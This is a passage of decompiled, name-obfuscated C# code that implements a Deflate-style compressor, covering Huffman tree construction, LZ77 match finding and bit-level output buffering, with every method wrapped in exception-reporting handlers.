            byte[] numArray2 = obj1;
            throw UnhandledException.\u0003(ex, (object) this, (object) numArray1, (object) numArray2);
          }
        }

        public void \u0003()
        {
          int num1;
          int index1;
          int[] numArray1;
          int index2;
          int num2;
          try
          {
            int length = this.\u0001.Length;
            numArray1 = new int[this.\u0003];
            num1 = 0;
            this.\u0002 = new short[this.\u0001.Length];
            for (index1 = 0; index1 < this.\u0003; ++index1)
            {
              numArray1[index1] = num1;
              num1 += this.\u0001[index1] << 15 - index1;
            }
            for (index2 = 0; index2 < this.\u0002; ++index2)
            {
              num2 = (int) this.\u0001[index2];
              if (num2 > 0)
              {
                this.\u0002[index2] = \u0006.\u0007.\u0003(numArray1[num2 - 1]);
                numArray1[num2 - 1] += 1 << 16 - num2;
              }
            }
          }
          catch (Exception ex)
          {
            int[] numArray2 = numArray1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) index1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local3 = (ValueType) index2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local4 = (ValueType) num2;
            throw UnhandledException.\u0003(ex, (object) numArray2, (object) local1, (object) local2, (object) local3, (object) local4, (object) this);
          }
        }

        private void \u0003([In] int[] obj0)
        {
          int length;
          int num1;
          int num2;
          int index1;
          int[] numArray1;
          int index2;
          int num3;
          int num4;
          int num5;
          int index3;
          int num6;
          int num7;
          int num8;
          int index4;
          try
          {
            this.\u0001 = new byte[this.\u0001.Length];
            length = obj0.Length / 2;
            num1 = (length + 1) / 2;
            num2 = 0;
            for (index1 = 0; index1 < this.\u0003; ++index1)
              this.\u0001[index1] = 0;
            numArray1 = new int[length];
            numArray1[length - 1] = 0;
            for (index2 = length - 1; index2 >= 0; --index2)
            {
              if (obj0[2 * index2 + 1] != -1)
              {
                num3 = numArray1[index2] + 1;
                if (num3 > this.\u0003)
                {
                  num3 = this.\u0003;
                  ++num2;
                }
                int[] numArray2 = numArray1;
                int index5 = obj0[2 * index2];
                numArray1[obj0[2 * index2 + 1]] = num4 = num3;
                int num9 = num4;
                numArray2[index5] = num9;
              }
              else
              {
                num5 = numArray1[index2];
                ++this.\u0001[num5 - 1];
                this.\u0001[obj0[2 * index2]] = (byte) numArray1[index2];
              }
            }
            if (num2 == 0)
              return;
            index3 = this.\u0003 - 1;
            do
            {
              do
                ;
              while (this.\u0001[--index3] == 0);
              do
              {
                --this.\u0001[index3];
                ++this.\u0001[++index3];
                num2 -= 1 << this.\u0003 - 1 - index3;
              }
              while (num2 > 0 && index3 < this.\u0003 - 1);
            }
            while (num2 > 0);
            this.\u0001[this.\u0003 - 1] += num2;
            this.\u0001[this.\u0003 - 2] -= num2;
            num6 = 2 * num1;
            for (num7 = this.\u0003; num7 != 0; --num7)
            {
              num8 = this.\u0001[num7 - 1];
              while (num8 > 0)
              {
                index4 = 2 * obj0[num6++];
                if (obj0[index4 + 1] == -1)
                {
                  this.\u0001[obj0[index4]] = (byte) num7;
                  --num8;
                }
              }
            }
          }
          catch (Exception ex)
          {
            object[] objArray = new object[16]
            {
              (object) length,
              (object) num1,
              (object) num2,
              (object) index1,
              (object) numArray1,
              (object) index2,
              (object) num3,
              (object) num5,
              (object) index3,
              (object) num6,
              (object) num7,
              (object) num8,
              (object) index4,
              (object) num4,
              (object) this,
              (object) obj0
            };
            throw UnhandledException.\u0003(ex, objArray);
          }
        }

        public void \u0004()
        {
          int[] numArray1;
          int num1;
          int num2;
          int index1;
          int num3;
          int index2;
          int index3;
          int length;
          int num4;
          int num5;
          int[] numArray2;
          int[] numArray3;
          int num6;
          int index4;
          int index5;
          int index6;
          int index7;
          int index8;
          int index9;
          int num7;
          int index10;
          int num8;
          try
          {
            length = this.\u0001.Length;
            numArray1 = new int[length];
            num1 = 0;
            num2 = 0;
            for (index1 = 0; index1 < length; ++index1)
            {
              num3 = (int) this.\u0001[index1];
              if (num3 != 0)
              {
                for (index2 = num1++; index2 > 0 && (int) this.\u0001[numArray1[index3 = (index2 - 1) / 2]] > num3; index2 = index3)
                  numArray1[index2] = numArray1[index3];
                numArray1[index2] = index1;
                num2 = index1;
              }
            }
            for (; num1 < 2; numArray1[num1++] = num4)
            {
              int num9;
              if (num2 >= 2)
                num9 = 0;
              else
                num2 = num9 = num2 + 1;
              num4 = num9;
            }
            this.\u0002 = Math.Max(num2 + 1, this.\u0001);
            num5 = num1;
            numArray2 = new int[4 * num1 - 2];
            numArray3 = new int[2 * num1 - 1];
            num6 = num5;
            for (index4 = 0; index4 < num1; ++index4)
            {
              index5 = numArray1[index4];
              numArray2[2 * index4] = index5;
              numArray2[2 * index4 + 1] = -1;
              numArray3[index4] = (int) this.\u0001[index5] << 8;
              numArray1[index4] = index4;
            }
            do
            {
              index6 = numArray1[0];
              index7 = numArray1[--num1];
              index8 = 0;
              for (index9 = 1; index9 < num1; index9 = index9 * 2 + 1)
              {
                if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]])
                  ++index9;
                numArray1[index8] = numArray1[index9];
                index8 = index9;
              }
              num7 = numArray3[index7];
              while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7)
                numArray1[index9] = numArray1[index8];
              numArray1[index9] = index7;
              index10 = numArray1[0];
              index7 = num6++;
              numArray2[2 * index7] = index6;
              numArray2[2 * index7 + 1] = index10;
              num8 = Math.Min(numArray3[index6] & (int) byte.MaxValue, numArray3[index10] & (int) byte.MaxValue);
              numArray3[index7] = num7 = numArray3[index6] + numArray3[index10] - num8 + 1;
              index8 = 0;
              for (index9 = 1; index9 < num1; index9 = index8 * 2 + 1)
              {
                if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]])
                  ++index9;
                numArray1[index8] = numArray1[index9];
                index8 = index9;
              }
              while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7)
                numArray1[index9] = numArray1[index8];
              numArray1[index9] = index7;
            }
            while (num1 > 1);
            this.\u0003(numArray2);
          }
          catch (Exception ex)
          {
            object[] objArray = new object[23]
            {
              (object) length,
              (object) numArray1,
              (object) num1,
              (object) num2,
              (object) index1,
              (object) num3,
              (object) index2,
              (object) index3,
              (object) num4,
              (object) num5,
              (object) numArray2,
              (object) numArray3,
              (object) num6,
              (object) index4,
              (object) index5,
              (object) index6,
              (object) index7,
              (object) index8,
              (object) index9,
              (object) num7,
              (object) index10,
              (object) num8,
              (object) this
            };
            throw UnhandledException.\u0003(ex, objArray);
          }
        }

        public int \u0003()
        {
          int index;
          int num;
          try
          {
            num = 0;
            for (index = 0; index < this.\u0001.Length; ++index)
              num += (int) this.\u0001[index] * (int) this.\u0001[index];
            return num;
          }
          catch (Exception ex)
          {
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) index;
            throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this);
          }
        }

        public void \u0003([In] \u0006.\u0007.\u0001 obj0)
        {
          int index1;
          int index2;
          int num1;
          int num2;
          int index3;
          int num3;
          try
          {
            index3 = -1;
            index1 = 0;
            while (index1 < this.\u0002)
            {
              num3 = 1;
              index2 = (int) this.\u0001[index1];
              if (index2 == 0)
              {
                num1 = 138;
                num2 = 3;
              }
              else
              {
                num1 = 6;
                num2 = 3;
                if (index3 != index2)
                {
                  ++obj0.\u0001[index2];
                  num3 = 0;
                }
              }
              index3 = index2;
              ++index1;
              while (index1 < this.\u0002 && index3 == (int) this.\u0001[index1])
              {
                ++index1;
                if (++num3 >= num1)
                  break;
              }
              if (num3 < num2)
                obj0.\u0001[index3] += (short) num3;
              else if (index3 != 0)
                ++obj0.\u0001[\u0006.\u0007.\u0005];
              else if (num3 <= 10)
                ++obj0.\u0001[\u0006.\u0007.\u0006];
              else
                ++obj0.\u0001[\u0006.\u0007.\u0007];
            }
          }
          catch (Exception ex)
          {
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) num2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local3 = (ValueType) num3;
            // ISSUE: variable of a boxed type
            __Boxed<int> local4 = (ValueType) index3;
            // ISSUE: variable of a boxed type
            __Boxed<int> local5 = (ValueType) index1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local6 = (ValueType) index2;
            \u0006.\u0007.\u0001 obj = obj0;
            throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj);
          }
        }

        public void \u0004([In] \u0006.\u0007.\u0001 obj0)
        {
          int index;
          int num1;
          int num2;
          int num3;
          int num4;
          int num5;
          try
          {
            num4 = -1;
            index = 0;
            while (index < this.\u0002)
            {
              num5 = 1;
              num1 = (int) this.\u0001[index];
              if (num1 == 0)
              {
                num2 = 138;
                num3 = 3;
              }
              else
              {
                num2 = 6;
                num3 = 3;
                if (num4 != num1)
                {
                  obj0.\u0003(num1);
                  num5 = 0;
                }
              }
              num4 = num1;
              ++index;
              while (index < this.\u0002 && num4 == (int) this.\u0001[index])
              {
                ++index;
                if (++num5 >= num2)
                  break;
              }
              if (num5 < num3)
              {
                while (num5-- > 0)
                  obj0.\u0003(num4);
              }
              else if (num4 != 0)
              {
                obj0.\u0003(\u0006.\u0007.\u0005);
                this.\u0001.\u0001.\u0003(num5 - 3, 2);
              }
              else if (num5 <= 10)
              {
                obj0.\u0003(\u0006.\u0007.\u0006);
                this.\u0001.\u0001.\u0003(num5 - 3, 3);
              }
              else
              {
                obj0.\u0003(\u0006.\u0007.\u0007);
                this.\u0001.\u0001.\u0003(num5 - 11, 7);
              }
            }
          }
          catch (Exception ex)
          {
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) num3;
            // ISSUE: variable of a boxed type
            __Boxed<int> local3 = (ValueType) num5;
            // ISSUE: variable of a boxed type
            __Boxed<int> local4 = (ValueType) num4;
            // ISSUE: variable of a boxed type
            __Boxed<int> local5 = (ValueType) index;
            // ISSUE: variable of a boxed type
            __Boxed<int> local6 = (ValueType) num1;
            \u0006.\u0007.\u0001 obj = obj0;
            throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj);
          }
        }
      }
    }

    internal sealed class \u0008
    {
      private static int \u0001;
      private int \u0002;
      private short[] \u0001;
      private short[] \u0002;
      private int \u0003;
      private int \u0004;
      private bool \u0001;
      private int \u0005;
      private int \u0006;
      private int \u0007;
      private byte[] \u0001;
      private byte[] \u0002;
      private int \u0008;
      private int \u000E;
      private int \u000F;
      private \u0006.\u000E \u0001;
      private \u0006.\u0007 \u0001;

      public \u0008([In] \u0006.\u000E obj0)
      {
        int num;
        try
        {
          this.\u0001 = obj0;
          this.\u0001 = new \u0006.\u0007(obj0);
          this.\u0001 = new byte[65536];
          this.\u0001 = new short[32768];
          this.\u0002 = new short[32768];
          this.\u0006 = num = 1;
          this.\u0005 = num;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num;
          \u0006.\u000E obj = obj0;
          throw UnhandledException.\u0003(ex, (object) local, (object) this, (object) obj);
        }
      }

      private void \u0003()
      {
        try
        {
          this.\u0002 = (int) this.\u0001[this.\u0006] << 5 ^ (int) this.\u0001[this.\u0006 + 1];
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      private int \u0003()
      {
        int index;
        short num;
        try
        {
          index = (this.\u0002 << 5 ^ (int) this.\u0001[this.\u0006 + 2]) & (int) short.MaxValue;
          this.\u0002[this.\u0006 & (int) short.MaxValue] = num = this.\u0001[index];
          this.\u0001[index] = (short) this.\u0006;
          this.\u0002 = index;
          return (int) num & (int) ushort.MaxValue;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<short> local1 = (ValueType) num;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) index;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this);
        }
      }

      private void \u0004()
      {
        int index1;
        int num1;
        int index2;
        int num2;
        try
        {
          Array.Copy((Array) this.\u0001, 32768, (Array) this.\u0001, 0, 32768);
          this.\u0003 -= 32768;
          this.\u0006 -= 32768;
          this.\u0005 -= 32768;
          for (index1 = 0; index1 < 32768; ++index1)
          {
            num1 = (int) this.\u0001[index1] & (int) ushort.MaxValue;
            this.\u0001[index1] = num1 >= 32768 ? (short) (num1 - 32768) : (short) 0;
          }
          for (index2 = 0; index2 < 32768; ++index2)
          {
            num2 = (int) this.\u0002[index2] & (int) ushort.MaxValue;
            this.\u0002[index2] = num2 >= 32768 ? (short) (num2 - 32768) : (short) 0;
          }
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) index2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num2;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this);
        }
      }

      public void \u0005()
      {
        int length;
        try
        {
          if (this.\u0006 >= 65274)
            goto label_8;
label_4:
          for (; this.\u0007 < 262 && this.\u000E < this.\u000F; this.\u0007 += length)
          {
            length = 65536 - this.\u0007 - this.\u0006;
            if (length > this.\u000F - this.\u000E)
              length = this.\u000F - this.\u000E;
            Array.Copy((Array) this.\u0002, this.\u000E, (Array) this.\u0001, this.\u0006 + this.\u0007, length);
            this.\u000E += length;
            this.\u0008 += length;
          }
          if (this.\u0007 < 3)
            return;
          this.\u0003();
          return;
label_8:
          this.\u0004();
          goto label_4;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) length;
          throw UnhandledException.\u0003(ex, (object) local, (object) this);
        }
      }

      private bool \u0003([In] int obj0)
      {
        short[] numArray;
        int index1;
        int index2;
        int val1;
        int num1;
        int num2;
        byte num3;
        byte num4;
        int num5;
        int num6;
        int num7;
        try
        {
          num5 = 128;
          num6 = 128;
          numArray = this.\u0002;
          index1 = this.\u0006;
          index2 = this.\u0006 + this.\u0004;
          val1 = Math.Max(this.\u0004, 2);
          num1 = Math.Max(this.\u0006 - 32506, 0);
          num2 = this.\u0006 + 258 - 1;
          num3 = this.\u0001[index2 - 1];
          num4 = this.\u0001[index2];
          if (val1 >= 8)
            num5 >>= 2;
          if (num6 > this.\u0007)
            num6 = this.\u0007;
          do
          {
            if ((int) this.\u0001[obj0 + val1] == (int) num4 && (int) this.\u0001[obj0 + val1 - 1] == (int) num3 && (int) this.\u0001[obj0] == (int) this.\u0001[index1] && (int) this.\u0001[obj0 + 1] == (int) this.\u0001[index1 + 1])
            {
              num7 = obj0 + 2;
              index1 += 2;
              do
                ;
              while ((int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && index1 < num2);
              if (index1 > index2)
              {
                this.\u0003 = obj0;
                index2 = index1;
                val1 = index1 - this.\u0006;
                if (val1 < num6)
                {
                  num3 = this.\u0001[index2 - 1];
                  num4 = this.\u0001[index2];
                }
                else
                  break;
              }
              index1 = this.\u0006;
            }
          }
          while ((obj0 = (int) numArray[obj0 & (int) short.MaxValue] & (int) ushort.MaxValue) > num1 && --num5 != 0);
          this.\u0004 = Math.Min(val1, this.\u0007);
          return this.\u0004 >= 3;
        }
        catch (Exception ex)
        {
          object[] objArray = new object[13]
          {
            (object) num5,
            (object) num6,
            (object) numArray,
            (object) index1,
            (object) num7,
            (object) index2,
            (object) val1,
            (object) num1,
            (object) num2,
            (object) num3,
            (object) num4,
            (object) this,
            (object) obj0
          };
          throw UnhandledException.\u0003(ex, objArray);
        }
      }

      private bool \u0003([In] bool obj0, [In] bool obj1)
      {
        int num1;
        int num2;
        int num3;
        int num4;
        bool flag;
        try
        {
          if (this.\u0007 < 262 && !obj0)
            return false;
          while (this.\u0007 >= 262 || obj0)
          {
            if (this.\u0007 == 0)
            {
              if (this.\u0001)
                this.\u0001.\u0003((int) this.\u0001[this.\u0006 - 1] & (int) byte.MaxValue);
              this.\u0001 = false;
              this.\u0001.\u0004(this.\u0001, this.\u0005, this.\u0006 - this.\u0005, obj1);
              this.\u0005 = this.\u0006;
              return false;
            }
            if (this.\u0006 >= 65274)
              this.\u0004();
            num1 = this.\u0003;
            num2 = this.\u0004;
            if (this.\u0007 >= 3)
            {
              num3 = this.\u0003();
              if (num3 != 0 && this.\u0006 - num3 <= 32506 && this.\u0003(num3) && this.\u0004 <= 5 && this.\u0004 == 3 && this.\u0006 - this.\u0003 > \u0006.\u0008.\u0001)
                this.\u0004 = 2;
            }
            if (num2 >= 3 && this.\u0004 <= num2)
            {
              this.\u0001.\u0003(this.\u0006 - 1 - num1, num2);
              num2 -= 2;
              do
              {
                ++this.\u0006;
                --this.\u0007;
                if (this.\u0007 >= 3)
                  this.\u0003();
              }
              while (--num2 > 0);
              ++this.\u0006;
              --this.\u0007;
              this.\u0001 = false;
              this.\u0004 = 2;
            }
            else
            {
              if (this.\u0001)
                this.\u0001.\u0003((int) this.\u0001[this.\u0006 - 1] & (int) byte.MaxValue);
              this.\u0001 = true;
              ++this.\u0006;
              --this.\u0007;
            }
            if (this.\u0001.\u0003())
            {
              num4 = this.\u0006 - this.\u0005;
              if (this.\u0001)
                --num4;
              flag = obj1 && this.\u0007 == 0 && !this.\u0001;
              this.\u0001.\u0004(this.\u0001, this.\u0005, num4, flag);
              this.\u0005 += num4;
              return !flag;
            }
          }
          return true;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local5 = (ValueType) flag;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local6 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local7 = (ValueType) obj1;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) local6, (object) local7);
        }
      }

      public bool \u0004([In] bool obj0, [In] bool obj1)
      {
        bool flag1;
        bool flag2;
        try
        {
          do
          {
            this.\u0005();
            flag1 = obj0 && this.\u000E == this.\u000F;
            flag2 = this.\u0003(flag1, obj1);
          }
          while (this.\u0001.\u0003() && flag2);
          return flag2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<bool> local1 = (ValueType) flag2;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local2 = (ValueType) flag1;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local3 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local4 = (ValueType) obj1;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3, (object) local4);
        }
      }

      public void \u0003([In] byte[] obj0)
      {
        try
        {
          this.\u0002 = obj0;
          this.\u000E = 0;
          this.\u000F = obj0.Length;
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          throw UnhandledException.\u0003(ex, (object) this, (object) numArray);
        }
      }

      public bool \u0003()
      {
        try
        {
          return this.\u000F == this.\u000E;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      static \u0008()
      {
        try
        {
          \u0006.\u0008.\u0001 = 4096;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex);
        }
      }
    }

    internal sealed class \u000E
    {
      protected byte[] \u0001 = new byte[65536];
      private int \u0001;
      private int \u0002;
      private uint \u0001;
      private int \u0003;

      public void \u0003([In] int obj0)
      {
        int num1;
        int num2;
        try
        {
          byte[] numArray1 = this.\u0001;
          \u0006.\u000E obj = this;
          int num3;
          num1 = num3 = obj.\u0002;
          obj.\u0002 = num3 + 1;
          int index1 = num1;
          int num4 = (int) (byte) obj0;
          numArray1[index1] = (byte) num4;
          byte[] numArray2 = this.\u0001;
          num2 = this.\u0002++;
          int index2 = num2;
          int num5 = (int) (byte) (obj0 >> 8);
          numArray2[index2] = (byte) num5;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3);
        }
      }

      public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        try
        {
          Array.Copy((Array) obj0, obj1, (Array) this.\u0001, this.\u0002, obj2);
          this.\u0002 += obj2;
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj2;
          throw UnhandledException.\u0003(ex, (object) this, (object) numArray, (object) local1, (object) local2);
        }
      }

      [SpecialName]
      public int \u0003()
      {
        try
        {
          return this.\u0003;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public void \u0003()
      {
        int num1;
        int num2;
        try
        {
          if (this.\u0003 > 0)
            goto label_3;
label_2:
          this.\u0001 = 0U;
          this.\u0003 = 0;
          return;
label_3:
          byte[] numArray1 = this.\u0001;
          num1 = this.\u0002++;
          int index1 = num1;
          int num3 = (int) (byte) this.\u0001;
          numArray1[index1] = (byte) num3;
          if (this.\u0003 > 8)
          {
            byte[] numArray2 = this.\u0001;
            num2 = this.\u0002++;
            int index2 = num2;
            int num4 = (int) (byte) (this.\u0001 >> 8);
            numArray2[index2] = (byte) num4;
            goto label_2;
          }
          else
            goto label_2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this);
        }
      }

      public void \u0003([In] int obj0, [In] int obj1)
      {
        int num1;
        int num2;
        try
        {
          this.\u0001 |= (uint) (obj0 << this.\u0003);
          this.\u0003 += obj1;
          if (this.\u0003 < 16)
            return;
          byte[] numArray1 = this.\u0001;
          num1 = this.\u0002++;
          int index1 = num1;
          int num3 = (int) (byte) this.\u0001;
          numArray1[index1] = (byte) num3;
          byte[] numArray2 = this.\u0001;
          num2 = this.\u0002++;
          int index2 = num2;
          int num4 = (int) (byte) (this.\u0001 >> 8);
          numArray2[index2] = (byte) num4;
          this.\u0001 >>= 16;
          this.\u0003 -= 16;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj1;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3, (object) local4);
        }
      }

      [SpecialName]
      public bool \u0003()
      {
        try
        {
          return this.\u0002 == 0;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        try
        {
          if (this.\u0003 >= 8)
            goto label_5;
label_1:
          if (obj2 > this.\u0002 - this.\u0001)
          {
            obj2 = this.\u0002 - this.\u0001;
            Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2);
            this.\u0001 = 0;
            this.\u0002 = 0;
          }
          else
          {
            Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2);
            this.\u0001 += obj2;
          }
          return obj2;
label_5:
          byte[] numArray = this.\u0001;
          num1 = this.\u0002++;
          int index = num1;
          int num2 = (int) (byte) this.\u0001;
          numArray[index] = (byte) num2;
          this.\u0001 >>= 8;
          this.\u0003 -= 8;
          goto label_1;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj2;
          throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3);
        }
      }

      public \u000E()
      {
        try
        {
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }
    }

    internal sealed class \u000F : MemoryStream
    {
      public void \u0003([In] int obj0)
      {
        try
        {
          this.WriteByte((byte) (obj0 & (int) byte.MaxValue));
          this.WriteByte((byte) (obj0 >> 8 & (int) byte.MaxValue));
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) this, (object) local);
        }
      }

      public void \u0004([In] int obj0)
      {
        try
        {
          this.\u0003(obj0);
          this.\u0003(obj0 >> 16);
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) this, (object) local);
        }
      }

      public int \u0003()
      {
        try
        {
          return this.ReadByte() | this.ReadByte() << 8;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public int \u0004()
      {
        try
        {
          return this.\u0003() | this.\u0003() << 16;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public \u000F()
      {
        try
        {
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public \u000F([In] byte[] obj0)
        : base(obj0, false)
      {
        try
        {
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          throw UnhandledException.\u0003(ex, (object) this, (object) numArray);
        }
      }
    }
  }
}